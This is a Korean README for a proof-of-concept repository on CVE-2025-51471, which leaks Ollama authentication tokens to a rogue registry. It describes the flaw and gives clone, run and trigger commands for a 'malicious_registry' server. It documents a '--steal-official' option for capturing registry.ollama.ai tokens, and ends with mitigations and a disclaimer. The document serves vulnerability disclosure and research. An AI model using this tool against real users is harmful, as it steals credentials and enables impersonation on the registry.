CVE-2025-51471 - Ollama 교차 도메인 토큰 노출 PoC

작성자: ajtazer

🔥 개요

이 저장소는 Ollama의 모든 버전(최신 버전 포함)에 영향을 미치는 교차 도메인 인증 토큰 노출 취약점인 CVE-2025-51471에 대한 개념 증명(PoC)을 포함합니다.

📋 취약점 설명

Ollama가 401 Unauthorized로 응답하는 HTTPS 서버에서 모델을 가져올 때, WWW-Authenticate 헤더의 realm URL을 동일한 도메인에 속하는지 검증하지 않고 따릅니다[...]

이를 통해 공격자는 다음을 수행할 수 있습니다:

1. 악성 "레지스트리" 서버를 설정합니다
2. 사용자를 속여 해당 서버에서 모델을 가져오게 합니다
3. 공격자가 제어하는 엔드포인트를 가리키는 WWW-Authenticate 헤더와 함께 401 응답을 반환합니다
4. Ollama는 Ed25519 서명된 인증 토큰을 공격자에게 맹목적으로 전송합니다
5. 공격자가 토큰을 캡처합니다

영향

• registry.ollama.ai의 비공개 모델에 접근
• 피해자의 신원으로 악성 모델을 푸시
• Ollama 레지스트리에서 피해자를 사칭

🚀 빠른 시작

사전 요구 사항

• Python 3.7+
• Flask (pip install flask)
• Ollama (모든 버전)

설치

git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask

PoC 실행

1. 악성 레지스트리 서버를 시작합니다 (HTTP 모드):

python3 malicious_registry.py --no-ssl

2. 다른 터미널에서 Ollama가 실행 중인지 확인합니다:

ollama serve

3. 취약점을 트리거합니다:

# curl API 사용
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'

# 또는 ollama CLI 사용
ollama pull --insecure localhost:8080/malicious/model

4. 서버 터미널에서 캡처된 토큰을 확인하세요!

🎬 데모 (PoC 영상)

이 PoC를 짧은 영상으로 시연했습니다 — 여기서 시청하세요:

YouTube — PoC demo

참고 (macOS HTTPS 모드): HTTPS 모드를 사용하는 경우 생성된 인증서를 키체인에 추가하거나 --no-ssl을 사용하여 HTTP 모드를 사용하세요.

📖 사용 옵션

python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]

Options:
  --port, -p PORT       Port to listen on (default: 8080)
  --no-ssl              Use HTTP instead of HTTPS
  --steal-official, -s  Redirect to steal registry.ollama.ai tokens
  --no-verbose          Disable verbose output

🔧 API 엔드포인트

🛡️ 완화 방안

1. 신뢰할 수 있는 출처에서만 모델을 가져오세요
2. 타사 레지스트리에서 모델을 가져올 때 주의하세요
3. 공식 수정 사항은 PR #10750을 참조하세요

📝 크레딧

• 작성자: ajtazer
• 원 연구자:
  • Mohammed Benhelli (@FuzzingLabs)
  • Patrick Ventuzelo (@FuzzingLabs)
  • Huntr Report

⚠️ 면책 조항

이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않은 시스템에 대해 사용하지 마십시오.

Made with ❤️ using Antigravity